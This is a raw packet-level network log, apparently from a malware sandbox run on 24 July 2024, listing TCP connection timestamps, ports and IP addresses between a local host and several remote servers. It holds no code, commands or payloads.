Jul 24, 2024 02:39:14.587498903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587507010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587542057 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587733030 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587765932 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587793112 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587799072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587801933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587831974 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587855101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587863922 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587867975 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587897062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587904930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587930918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587939978 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.587964058 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.587976933 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.588002920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.589634895 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.589776039 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.589801073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.589869976 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.589898109 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.589936972 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.589956045 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590012074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590029001 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590034962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590049028 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590065956 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590099096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590115070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590151072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590164900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590193033 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590209007 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590246916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590351105 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590367079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590382099 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590396881 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590399027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590415955 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590421915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590434074 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590457916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590785980 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590799093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590815067 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590830088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590832949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590843916 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590845108 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590861082 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.590869904 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590894938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.590894938 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591049910 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591064930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591078997 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591089010 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591094971 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591106892 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591124058 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591131926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591178894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591195107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591208935 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591226101 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591234922 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591240883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591255903 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591257095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591272116 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591279984 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591288090 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591300964 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591301918 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591316938 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591322899 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591331959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591342926 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591346979 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.591365099 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.591386080 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592173100 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592187881 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592204094 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592211962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592219114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592225075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592235088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592241049 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592251062 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592258930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592267036 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592269897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592282057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592288971 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592297077 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592298985 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592312098 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592319965 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592328072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592331886 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592343092 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592349052 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592358112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592359066 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592372894 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592377901 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592389107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592391014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592403889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592408895 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592418909 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592422009 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592434883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592441082 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592451096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.592458963 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592473030 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592510939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.592961073 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.593010902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.653886080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.653934002 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.653950930 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.653968096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.653978109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.654000998 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.654017925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.654035091 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.654048920 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.654068947 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.654078007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.654105902 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.654114962 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.654146910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676656961 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676723957 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676733017 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676759958 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676779032 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676795959 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676805019 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676840067 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676850080 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676882982 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676892042 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676917076 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676928997 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676949978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.676968098 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.676984072 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677011967 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677016973 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677031040 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677050114 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677083015 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677098989 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677114964 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677134991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677149057 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677164078 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677195072 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677200079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677232027 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677246094 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677267075 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677274942 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677300930 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677311897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677334070 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677354097 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677366018 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677377939 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677400112 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677412033 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677431107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677455902 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677464008 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677486897 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677498102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677517891 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677553892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677580118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677587032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677599907 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677620888 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677629948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677654028 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677663088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677695036 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677704096 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677736044 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677745104 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677778959 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677788019 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677819014 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677830935 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677851915 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677864075 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677884102 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677896023 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677917004 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677947044 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677948952 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.677966118 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.677980900 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678013086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678031921 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678045988 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678059101 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678077936 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678088903 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678109884 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678124905 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678150892 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678153992 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678184032 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678195000 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678215981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678226948 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678250074 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678260088 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678284883 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678328991 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678370953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678404093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678416014 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678436995 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678451061 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678471088 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678479910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678505898 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.678514004 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.678544998 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680448055 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680500031 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680543900 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680563927 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680571079 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680603981 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680627108 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680653095 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680663109 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680697918 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680704117 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680737972 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680768967 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680800915 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680802107 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680825949 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680866003 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680869102 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680897951 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680913925 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680929899 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680962086 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.680974007 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.680994987 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681006908 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.681027889 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681039095 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.681065083 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681092978 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681114912 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.681144953 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681149006 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.681178093 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681210041 CEST	80	49731	77.91.77.81	192.168.2.4
Jul 24, 2024 02:39:14.681226015 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:14.681253910 CEST	49731	80	192.168.2.4	77.91.77.81
Jul 24, 2024 02:39:15.220035076 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:15.220113993 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:15.757317066 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:15.757354975 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:15.757406950 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:15.758430958 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:15.758446932 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:15.917385101 CEST	49730	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:15.917694092 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:15.922414064 CEST	80	49730	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:15.922461987 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:15.922579050 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:15.923311949 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:15.928160906 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:16.419924974 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.495908022 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.495914936 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.496339083 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.496355057 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.496388912 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.497206926 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.497250080 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.497257948 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.522977114 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.523034096 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.529253006 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.529261112 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.537849903 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.584501982 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.602824926 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.742981911 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.742995977 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.743036032 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.743042946 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.743076086 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.743118048 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.768979073 CEST	49735	443	192.168.2.4	142.250.185.110
Jul 24, 2024 02:39:16.768989086 CEST	443	49735	142.250.185.110	192.168.2.4
Jul 24, 2024 02:39:16.796969891 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797028065 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797048092 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797065973 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797089100 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797108889 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797122955 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797132015 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797156096 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797161102 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797175884 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797207117 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797321081 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797377110 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.797394991 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797487020 CEST	443	49732	40.68.123.157	192.168.2.4
Jul 24, 2024 02:39:16.797558069 CEST	49732	443	192.168.2.4	40.68.123.157
Jul 24, 2024 02:39:16.931209087 CEST	80	49738	85.28.47.31	192.168.2.4
Jul 24, 2024 02:39:16.931286097 CEST	49738	80	192.168.2.4	85.28.47.31
Jul 24, 2024 02:39:17.330605984 CEST	49738	80	192.168.2.4	85.28.47.31
